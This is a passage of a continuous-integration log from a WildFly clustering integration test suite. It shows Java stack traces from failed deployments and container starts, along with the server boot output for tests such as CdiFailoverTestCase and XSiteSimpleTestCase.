    "WFLYCTL0180: Services with missing/unavailable dependencies" => ["jboss.deployment.unit.\"cdi-failover.war\".component.CdiIncrementorBean.START is missing [jboss.deployment.unit.\"cdi-failover.war\".component.CdiIncrementorBean.cache]"]
}
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getActionResult(ServerDeploymentPlanResultFuture.java:134)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getResultFromNode(ServerDeploymentPlanResultFuture.java:123)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:85)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:42)
	at org.jboss.as.controller.client.helpers.standalone.ServerDeploymentHelper.deploy(ServerDeploymentHelper.java:55)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:77)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:64)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deploy(ArchiveDeployer.java:46)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:144)
	at org.jboss.as.test.clustering.NodeUtil.deploy(NodeUtil.java:41)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.beforeTestMethod(ClusterAbstractTestCase.java:91)
------- Stdout: -------
14:01:26,343 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Starting deployment=NONE, container=container-0
14:01:27,417 WARNING [org.jboss.as.arquillian.container.managed.ManagedDeployableContainer] (main) Bundles path is deprecated and no longer used.
14:01:27,422 INFO  [org.jboss.as.arquillian.container.managed.ManagedDeployableContainer] (main) Starting container with: [C:\Java\jdk1.8.0_45\bin\java, -D[Standalone], -Xms64m, -Xmx512m, -Xmx512m, -Djava.net.preferIPv4Stack=true, -Djava.net.preferIPv4Stack=false, -Djava.awt.headless=true, -Djboss.modules.system.pkgs=org.jboss.byteman, -Djboss.dist=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering/../../../dist/target/wildfly-10.0.0.CR2-SNAPSHOT, -Djboss.dist=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering/../../../dist/target/wildfly-10.0.0.CR2-SNAPSHOT, -Djava.net.preferIPv6Addresses=true, -server, -Dts.timeout.factor=100, -Dnode0=::1, -Dnode1=::1, -Dmcast=ff13::1, -Dmcast.ttl=0, -Djbossas.ts.submodule.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering, -Djbossas.ts.integ.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering/.., -Djbossas.ts.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering/../.., -Djbossas.project.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering/../../.., -Djboss.inst=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering/target/wildfly-SYNC-tcp-0, -Djboss.node.name=node-0, -ea, -Djboss.home.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-SYNC-tcp-0, -Dorg.jboss.boot.log.file=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-SYNC-tcp-0\standalone\log\server.log, -Dlogging.configuration=file:C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-SYNC-tcp-0\standalone\configuration\logging.properties, -jar, C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-SYNC-tcp-0\jboss-modules.jar, -mp, C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-SYNC-tcp-0\modules;C:\BuildAgent\work\a31d203e70e89f90\dist\target\wildfly-10.0.0.CR2-SNAPSHOT\modules;C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\modules, org.jboss.as.standalone, -Djboss.home.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-SYNC-tcp-0, -Djboss.server.base.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-SYNC-tcp-0\standalone, -Djboss.server.log.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-SYNC-tcp-0\standalone\log, -Djboss.server.config.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-SYNC-tcp-0\standalone\configuration, -Dts.wildfly.version=10.0.0.CR2-SNAPSHOT, -c=standalone-full-ha.xml]
14:01:27,476 INFO  [org.xnio] (main) XNIO version 3.3.2.Final
14:01:27,543 INFO  [org.xnio.nio] (main) XNIO NIO Implementation Version 3.3.2.Final
14:01:27,642 INFO  [org.jboss.remoting] (main) JBoss Remoting version 4.0.10.Final
14:01:27,893 INFO  [org.jboss.modules] (main) JBoss Modules version 1.4.4.Final
14:01:28,154 INFO  [org.jboss.msc] (main) JBoss MSC version 1.2.6.Final
14:01:28,247 INFO  [org.jboss.as] (MSC service thread 1-7) WFLYSRV0049: WildFly Full 10.0.0.CR2-SNAPSHOT (WildFly Core 2.0.0.CR4) starting
14:01:29,758 INFO  [org.jboss.as.controller.management-deprecated] (ServerService Thread Pool -- 8) WFLYCTL0028: Attribute 'enabled' in the resource at address '/subsystem=datasources/data-source=ExampleDS' is deprecated, and may be removed in future version. See the attribute description in the output of the read-resource-description operation to learn more about the deprecation.
14:01:30,057 INFO  [org.jboss.as.server] (Controller Boot Thread) WFLYSRV0039: Creating http management service using socket-binding (management-http)
14:01:30,075 INFO  [org.xnio] (MSC service thread 1-7) XNIO version 3.3.2.Final
14:01:30,106 INFO  [org.xnio.nio] (MSC service thread 1-7) XNIO NIO Implementation Version 3.3.2.Final
14:01:30,132 INFO  [org.jboss.as.webservices] (ServerService Thread Pool -- 68) WFLYWS0002: Activating WebServices Extension
14:01:30,137 INFO  [org.jboss.as.clustering.infinispan] (ServerService Thread Pool -- 44) WFLYCLINF0001: Activating Infinispan subsystem.
14:01:30,146 INFO  [org.jboss.as.jsf] (ServerService Thread Pool -- 52) WFLYJSF0007: Activated the following JSF Implementations: [main]
14:01:30,148 INFO  [org.jboss.as.naming] (ServerService Thread Pool -- 57) WFLYNAM0001: Activating Naming Subsystem
14:01:30,148 INFO  [org.jboss.as.clustering.jgroups] (ServerService Thread Pool -- 49) WFLYCLJG0001: Activating JGroups subsystem.
14:01:30,153 INFO  [org.wildfly.iiop.openjdk] (ServerService Thread Pool -- 45) WFLYIIOP0001: Activating IIOP Subsystem
14:01:30,165 INFO  [org.wildfly.extension.undertow] (ServerService Thread Pool -- 67) WFLYUT0003: Undertow 1.3.0.CR2 starting
14:01:30,176 WARN  [org.jboss.as.txn] (ServerService Thread Pool -- 66) WFLYTX0013: Node identifier property is set to the default value. Please make sure it is unique.
14:01:30,185 INFO  [org.wildfly.extension.io] (ServerService Thread Pool -- 43) WFLYIO001: Worker 'default' has auto-configured to 8 core threads with 64 task threads based on your 4 available processors
14:01:30,193 INFO  [org.wildfly.extension.undertow] (MSC service thread 1-2) WFLYUT0003: Undertow 1.3.0.CR2 starting
14:01:30,203 INFO  [org.jboss.as.security] (ServerService Thread Pool -- 64) WFLYSEC0002: Activating Security Subsystem
14:01:30,223 INFO  [org.jboss.as.connector] (MSC service thread 1-5) WFLYJCA0009: Starting JCA Subsystem (WildFly/IronJacamar 1.3.0.Final)
14:01:30,234 INFO  [org.jboss.as.connector.subsystems.datasources] (ServerService Thread Pool -- 39) WFLYJCA0004: Deploying JDBC-compliant driver class org.h2.Driver (version 1.3)
14:01:30,282 INFO  [org.jboss.as.security] (MSC service thread 1-1) WFLYSEC0001: Current PicketBox version=4.9.3.Final

org.jboss.as.test.clustering.cluster.cdi.CdiFailoverTestCase(SYNC-tcp).testGracefulSimpleFailover: 	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:83)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:64)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deploy(ArchiveDeployer.java:46)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:144)
	at org.jboss.as.test.clustering.NodeUtil.deploy(NodeUtil.java:41)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.beforeTestMethod(ClusterAbstractTestCase.java:91)
Caused by: java.lang.Exception: {
    "WFLYCTL0080: Failed services" => {"jboss.infinispan.web.\"cdi-failover.war\"" => "org.jboss.msc.service.StartException in service jboss.infinispan.web.\"cdi-failover.war\": org.infinispan.commons.CacheException: Unable to invoke method public void org.infinispan.statetransfer.StateTransferManagerImpl.start() throws java.lang.Exception on object of type StateTransferManagerImpl
    Caused by: org.infinispan.commons.CacheException: Unable to invoke method public void org.infinispan.statetransfer.StateTransferManagerImpl.start() throws java.lang.Exception on object of type StateTransferManagerImpl
    Caused by: org.infinispan.commons.CacheException: Bad response received from coordinator: CacheNotFoundResponse"},
    "WFLYCTL0180: Services with missing/unavailable dependencies" => ["jboss.deployment.unit.\"cdi-failover.war\".component.CdiIncrementorBean.START is missing [jboss.deployment.unit.\"cdi-failover.war\".component.CdiIncrementorBean.cache]"]
}
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getActionResult(ServerDeploymentPlanResultFuture.java:134)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getResultFromNode(ServerDeploymentPlanResultFuture.java:123)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:85)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:42)
	at org.jboss.as.controller.client.helpers.standalone.ServerDeploymentHelper.deploy(ServerDeploymentHelper.java:55)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:77)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deployInternal(ArchiveDeployer.java:64)
	at org.jboss.as.arquillian.container.ArchiveDeployer.deploy(ArchiveDeployer.java:46)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:144)
	at org.jboss.as.test.clustering.NodeUtil.deploy(NodeUtil.java:41)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.beforeTestMethod(ClusterAbstractTestCase.java:91)
------- Stdout: -------
14:05:42,617 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Starting deployment=NONE, container=container-0
14:05:42,619 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Starting deployment=NONE, container=container-1
14:05:42,620 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Deploying deployment=deployment-0
14:05:42,633 INFO  [org.jboss.as.repository] (management-handler-thread - 5) WFLYDR0001: Content added at location C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-SYNC-tcp-0\standalone\data\content\4f\c5070af24bec63813120c8cdc8513557eeab27\content
14:05:42,635 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-5) WFLYSRV0027: Starting deployment of "cdi-failover.war" (runtime-name: "cdi-failover.war")
14:05:42,666 INFO  [org.jboss.weld.deployer] (MSC service thread 1-6) WFLYWELD0003: Processing weld deployment cdi-failover.war
14:05:42,671 INFO  [org.jboss.as.ejb3.deployment] (MSC service thread 1-6) WFLYEJB0473: JNDI bindings for session bean named 'CdiIncrementorBean' in deployment unit 'deployment "cdi-failover.war"' are as follows:

	java:global/cdi-failover/CdiIncrementorBean!org.jboss.as.test.clustering.cluster.ejb.stateful.bean.Incrementor
	java:app/cdi-failover/CdiIncrementorBean!org.jboss.as.test.clustering.cluster.ejb.stateful.bean.Incrementor
	java:module/CdiIncrementorBean!org.jboss.as.test.clustering.cluster.ejb.stateful.bean.Incrementor
	java:global/cdi-failover/CdiIncrementorBean
	java:app/cdi-failover/CdiIncrementorBean
	java:module/CdiIncrementorBean

14:05:42,699 INFO  [org.jboss.weld.deployer] (MSC service thread 1-2) WFLYWELD0006: Starting Services for CDI deployment: cdi-failover.war
14:05:42,705 INFO  [org.jboss.weld.deployer] (MSC service thread 1-2) WFLYWELD0009: Starting weld service for deployment cdi-failover.war
14:05:43,001 ERROR [org.jgroups.protocols.TCP] (TransferQueueBundler,ee,node-0) JGRP000029: node-0: failed sending message to node-0 (60 bytes): java.net.SocketTimeoutException: connect timed out, headers: UNICAST3: ACK, seqno=7172, ts=484, TCP: [cluster_name=ee]
14:05:43,048 INFO  [org.infinispan.configuration.cache.EvictionConfigurationBuilder] (ServerService Thread Pool -- 10) ISPN000152: Passivation configured without an eviction policy being selected. Only manually evicted entities will be passivated.
14:05:43,049 INFO  [org.infinispan.configuration.cache.EvictionConfigurationBuilder] (ServerService Thread Pool -- 10) ISPN000152: Passivation configured without an eviction policy being selected. Only manually evicted entities will be passivated.
14:05:43,051 INFO  [org.infinispan.configuration.cache.EvictionConfigurationBuilder] (ServerService Thread Pool -- 11) ISPN000152: Passivation configured without an eviction policy being selected. Only manually evicted entities will be passivated.
14:05:43,052 INFO  [org.infinispan.remoting.transport.jgroups.JGroupsTransport] (ServerService Thread Pool -- 10) ISPN000078: Starting JGroups channel web
14:05:43,051 INFO  [org.infinispan.configuration.cache.EvictionConfigurationBuilder] (ServerService Thread Pool -- 11) ISPN000152: Passivation configured without an eviction policy being selected. Only manually evicted entities will be passivated.
14:05:43,052 INFO  [org.infinispan.remoting.transport.jgroups.JGroupsTransport] (ServerService Thread Pool -- 10) ISPN000094: Received new cluster view for channel web: [node-0|4] (3) [node-0, node-1, node-0]
14:05:43,052 INFO  [org.infinispan.remoting.transport.jgroups.JGroupsTransport] (ServerService Thread Pool -- 10) ISPN000079: Channel web local address is node-0, physical addresses are [0:0:0:0:0:0:0:1:7601]
14:05:43,056 INFO  [org.infinispan.configuration.cache.EvictionConfigurationBuilder] (ServerService Thread Pool -- 2) ISPN000152: Passivation configured without an eviction policy being selected. Only manually evicted entities will be passivated.
14:05:43,056 INFO  [org.infinispan.configuration.cache.EvictionConfigurationBuilder] (ServerService Thread Pool -- 2) ISPN000152: Passivation configured without an eviction policy being selected. Only manually evicted entities will be passivated.

org.jboss.as.test.clustering.cluster.dispatcher.CommandDispatcherTestCase(SYNC-tcp).test: java.lang.RuntimeException: org.jboss.as.arquillian.container.ManagementClient$UnSuccessfulOperationException: "WFLYCTL0216: Management resource '[(\"deployment\" => \"command-dispatcher.jar\")]' not found"
	at org.jboss.as.arquillian.container.ManagementClient.getProtocolMetaData(ManagementClient.java:202)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:145)
	at org.jboss.as.test.clustering.NodeUtil.deploy(NodeUtil.java:41)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.beforeTestMethod(ClusterAbstractTestCase.java:91)
Caused by: org.jboss.as.arquillian.container.ManagementClient$UnSuccessfulOperationException: "WFLYCTL0216: Management resource '[(\"deployment\" => \"command-dispatcher.jar\")]' not found"
	at org.jboss.as.arquillian.container.ManagementClient.checkSuccessful(ManagementClient.java:357)
	at org.jboss.as.arquillian.container.ManagementClient.executeForResult(ManagementClient.java:348)
	at org.jboss.as.arquillian.container.ManagementClient.readResource(ManagementClient.java:343)
	at org.jboss.as.arquillian.container.ManagementClient.getProtocolMetaData(ManagementClient.java:193)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.deploy(CommonDeployableContainer.java:145)
	at org.jboss.as.test.clustering.NodeUtil.deploy(NodeUtil.java:41)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.beforeTestMethod(ClusterAbstractTestCase.java:91)
------- Stdout: -------
14:09:43,206 WARN  [org.jboss.as.arquillian.container.ArchiveDeployer] (main) Cannot undeploy: cdi-failover.war: org.jboss.as.controller.client.helpers.standalone.ServerDeploymentHelper$ServerDeploymentException: java.lang.Exception: "WFLYCTL0216: Management resource '[(\"deployment\" => \"cdi-failover.war\")]' not found"
	at org.jboss.as.controller.client.helpers.standalone.ServerDeploymentHelper.undeploy(ServerDeploymentHelper.java:114)
	at org.jboss.as.arquillian.container.ArchiveDeployer.undeploy(ArchiveDeployer.java:55)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.undeploy(CommonDeployableContainer.java:150)
Caused by: java.lang.Exception: "WFLYCTL0216: Management resource '[(\"deployment\" => \"cdi-failover.war\")]' not found"
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getActionResult(ServerDeploymentPlanResultFuture.java:134)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.getResultFromNode(ServerDeploymentPlanResultFuture.java:123)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:85)
	at org.jboss.as.controller.client.helpers.standalone.impl.ServerDeploymentPlanResultFuture.get(ServerDeploymentPlanResultFuture.java:42)
	at org.jboss.as.controller.client.helpers.standalone.ServerDeploymentHelper.undeploy(ServerDeploymentHelper.java:107)
	... 93 more

14:09:43,260 INFO  [org.jboss.as.test.clustering.cluster.dispatcher.CommandDispatcherTestCase] (main) command-dispatcher.jar:
/org/
/org/jboss/
/org/jboss/as/
/org/jboss/as/test/
/org/jboss/as/test/clustering/
/org/jboss/as/test/clustering/cluster/
/org/jboss/as/test/clustering/cluster/dispatcher/
/org/jboss/as/test/clustering/cluster/dispatcher/bean/
/org/jboss/as/test/clustering/cluster/dispatcher/bean/ClusterTopology.class
/org/jboss/as/test/clustering/cluster/dispatcher/bean/CommandDispatcherBean.class
/org/jboss/as/test/clustering/cluster/dispatcher/bean/TestCommand.class
/org/jboss/as/test/clustering/cluster/dispatcher/bean/CommandDispatcherFactoryBean.class
/org/jboss/as/test/clustering/cluster/dispatcher/bean/ClusterTopologyRetriever.class
/org/jboss/as/test/clustering/cluster/dispatcher/bean/ClusterTopologyRetrieverBean.class
14:09:43,264 INFO  [org.jboss.as.test.clustering.cluster.dispatcher.CommandDispatcherTestCase] (main) command-dispatcher.jar:
/org/
/org/jboss/
/org/jboss/as/
/org/jboss/as/test/
/org/jboss/as/test/clustering/
/org/jboss/as/test/clustering/cluster/
/org/jboss/as/test/clustering/cluster/dispatcher/
/org/jboss/as/test/clustering/cluster/dispatcher/bean/
/org/jboss/as/test/clustering/cluster/dispatcher/bean/ClusterTopology.class

org.jboss.as.test.clustering.single.web.SimpleWebTestCase: org.jboss.as.test.clustering.single.dispatcher.CommandDispatcherTestCase: To disable this check and allow Arquillian to connect to a running server, set allowConnectingToRunningServer to true in the container configuration
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.failDueToRunning(ManagedDeployableContainer.java:309)
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:80)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:110)

org.jboss.as.test.clustering.single.web.SimpleWebTestCase: org.jboss.as.test.clustering.single.provider.ServiceProviderRegistrationTestCase: java.lang.RuntimeException: Arquillian has previously been attempted initialized, but failed. See cause for previous exception
To disable this check and allow Arquillian to connect to a running server, set allowConnectingToRunningServer to true in the container configuration
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.failDueToRunning(ManagedDeployableContainer.java:309)
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:80)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:110)

org.jboss.as.test.clustering.single.web.SimpleWebTestCase: org.jboss.as.test.clustering.single.registry.RegistryTestCase: java.lang.RuntimeException: Arquillian has previously been attempted initialized, but failed. See cause for previous exception
To disable this check and allow Arquillian to connect to a running server, set allowConnectingToRunningServer to true in the container configuration
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.failDueToRunning(ManagedDeployableContainer.java:309)
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:80)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:110)

org.jboss.as.test.clustering.single.web.SimpleWebTestCase: org.jboss.as.test.clustering.single.singleton.SingletonServiceTestCase: java.lang.RuntimeException: Arquillian has previously been attempted initialized, but failed. See cause for previous exception
To disable this check and allow Arquillian to connect to a running server, set allowConnectingToRunningServer to true in the container configuration
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.failDueToRunning(ManagedDeployableContainer.java:309)
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:80)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:110)

org.jboss.as.test.clustering.single.web.SimpleWebTestCase: java.lang.RuntimeException: Arquillian has previously been attempted initialized, but failed. See cause for previous exception
To disable this check and allow Arquillian to connect to a running server, set allowConnectingToRunningServer to true in the container configuration
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.failDueToRunning(ManagedDeployableContainer.java:309)
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:80)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:110)

org.jboss.as.test.clustering.xsite.XSiteSimpleTestCase.testPutToBackupNotRelayed: java.lang.IllegalArgumentException: Deployment with name deployment-0 could not be deployed. Container container-0 must be started first.
	at org.jboss.as.test.clustering.NodeUtil.deploy(NodeUtil.java:41)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.deploy(ClusterAbstractTestCase.java:115)
	at org.jboss.as.test.clustering.cluster.ExtendedClusterAbstractTestCase.beforeTestMethod(ExtendedClusterAbstractTestCase.java:37)
------- Stdout: -------
14:26:33,017 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Starting deployment=NONE, container=container-0
To disable this check and allow Arquillian to connect to a running server, set allowConnectingToRunningServer to true in the container configuration
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.failDueToRunning(ManagedDeployableContainer.java:309)
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:80)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:110)
	at org.jboss.as.test.clustering.NodeUtil.start(NodeUtil.java:68)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.start(ClusterAbstractTestCase.java:107)
	at org.jboss.as.test.clustering.cluster.ExtendedClusterAbstractTestCase.beforeTestMethod(ExtendedClusterAbstractTestCase.java:36)

14:26:33,162 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Starting deployment=NONE, container=container-1
To disable this check and allow Arquillian to connect to a running server, set allowConnectingToRunningServer to true in the container configuration
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.failDueToRunning(ManagedDeployableContainer.java:309)
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:80)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:110)
	at org.jboss.as.test.clustering.NodeUtil.start(NodeUtil.java:68)
	at org.jboss.as.test.clustering.cluster.ClusterAbstractTestCase.start(ClusterAbstractTestCase.java:107)
	at org.jboss.as.test.clustering.cluster.ExtendedClusterAbstractTestCase.beforeTestMethod(ExtendedClusterAbstractTestCase.java:36)

14:26:33,218 INFO  [org.jboss.as.test.clustering.NodeUtil] (main) Starting deployment=NONE, container=container-2
14:26:34,230 WARNING [org.jboss.as.arquillian.container.managed.ManagedDeployableContainer] (main) Bundles path is deprecated and no longer used.
14:26:34,233 INFO  [org.jboss.as.arquillian.container.managed.ManagedDeployableContainer] (main) Starting container with: [C:\Java\jdk1.8.0_45\bin\java, -D[Standalone], -Xms64m, -Xmx512m, -Xmx512m, -Djava.net.preferIPv4Stack=true, -Djava.net.preferIPv4Stack=false, -Djava.awt.headless=true, -Djboss.modules.system.pkgs=org.jboss.byteman, -Djboss.dist=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering/../../../dist/target/wildfly-10.0.0.CR2-SNAPSHOT, -Djboss.dist=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering/../../../dist/target/wildfly-10.0.0.CR2-SNAPSHOT, -Djava.net.preferIPv6Addresses=true, -server, -Dts.timeout.factor=100, -Dnode0=::1, -Dnode1=::1, -Dmcast=ff13::1, -Dmcast.ttl=0, -Djbossas.ts.submodule.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering, -Djbossas.ts.integ.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering/.., -Djbossas.ts.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering/../.., -Djbossas.project.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering/../../.., -Djboss.inst=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering/target/wildfly-xsite-NYC-0, -Djboss.node.name=NYC-0, -Djboss.port.offset=200, -ea, -Djboss.home.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-xsite-NYC-0, -Dorg.jboss.boot.log.file=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-xsite-NYC-0\standalone\log\server.log, -Dlogging.configuration=file:C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-xsite-NYC-0\standalone\configuration\logging.properties, -jar, C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-xsite-NYC-0\jboss-modules.jar, -mp, C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-xsite-NYC-0\modules;C:\BuildAgent\work\a31d203e70e89f90\dist\target\wildfly-10.0.0.CR2-SNAPSHOT\modules;C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\modules, org.jboss.as.standalone, -Djboss.home.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-xsite-NYC-0, -Djboss.server.base.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-xsite-NYC-0\standalone, -Djboss.server.log.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-xsite-NYC-0\standalone\log, -Djboss.server.config.dir=C:\BuildAgent\work\a31d203e70e89f90\testsuite\integration\clustering\target\wildfly-xsite-NYC-0\standalone\configuration, -Dts.wildfly.version=10.0.0.CR2-SNAPSHOT, -c=standalone-ha.xml]
14:26:34,265 INFO  [org.xnio] (main) XNIO version 3.3.2.Final
14:26:34,336 INFO  [org.xnio.nio] (main) XNIO NIO Implementation Version 3.3.2.Final
14:26:34,431 INFO  [org.jboss.remoting] (main) JBoss Remoting version 4.0.10.Final
14:26:34,731 INFO  [org.jboss.modules] (main) JBoss Modules version 1.4.4.Final
14:26:35,024 INFO  [org.jboss.msc] (main) JBoss MSC version 1.2.6.Final
14:26:35,111 INFO  [org.jboss.as] (MSC service thread 1-6) WFLYSRV0049: WildFly Full 10.0.0.CR2-SNAPSHOT (WildFly Core 2.0.0.CR4) starting
14:26:36,431 INFO  [org.jboss.as.controller.management-deprecated] (ServerService Thread Pool -- 7) WFLYCTL0028: Attribute 'enabled' in the resource at address '/subsystem=datasources/data-source=ExampleDS' is deprecated, and may be removed in future version. See the attribute description in the output of the read-resource-description operation to learn more about the deprecation.
14:26:36,452 INFO  [org.jboss.as.controller.management-deprecated] (ServerService Thread Pool -- 6) WFLYCTL0028: Attribute 'stack' in the resource at address '/subsystem=jgroups/stack=tcp/relay=relay.RELAY2/remote-site=LON' is deprecated, and may be removed in future version. See the attribute description in the output of the read-resource-description operation to learn more about the deprecation.
14:26:36,453 INFO  [org.jboss.as.controller.management-deprecated] (ServerService Thread Pool -- 6) WFLYCTL0028: Attribute 'stack' in the resource at address '/subsystem=jgroups/stack=tcp/relay=relay.RELAY2/remote-site=SFO' is deprecated, and may be removed in future version. See the attribute description in the output of the read-resource-description operation to learn more about the deprecation.
14:26:36,619 INFO  [org.jboss.as.server] (Controller Boot Thread) WFLYSRV0039: Creating http management service using socket-binding (management-http)
14:26:36,638 INFO  [org.xnio] (MSC service thread 1-1) XNIO version 3.3.2.Final
14:26:36,645 INFO  [org.xnio.nio] (MSC service thread 1-1) XNIO NIO Implementation Version 3.3.2.Final
14:26:36,689 INFO  [org.jboss.as.naming] (ServerService Thread Pool -- 51) WFLYNAM0001: Activating Naming Subsystem
14:26:36,694 INFO  [org.jboss.as.jsf] (ServerService Thread Pool -- 48) WFLYJSF0007: Activated the following JSF Implementations: [main]
14:26:36,684 WARN  [org.jboss.as.txn] (ServerService Thread Pool -- 60) WFLYTX0013: Node identifier property is set to the default value. Please make sure it is unique.
14:26:36,700 INFO  [org.jboss.as.clustering.infinispan] (ServerService Thread Pool -- 41) WFLYCLINF0001: Activating Infinispan subsystem.
14:26:36,702 INFO  [org.jboss.as.security] (ServerService Thread Pool -- 58) WFLYSEC0002: Activating Security Subsystem
14:26:36,712 INFO  [org.jboss.as.clustering.jgroups] (ServerService Thread Pool -- 45) WFLYCLJG0001: Activating JGroups subsystem.
14:26:36,740 INFO  [org.jboss.as.webservices] (ServerService Thread Pool -- 62) WFLYWS0002: Activating WebServices Extension
14:26:36,753 INFO  [org.jboss.remoting] (MSC service thread 1-1) JBoss Remoting version 4.0.10.Final
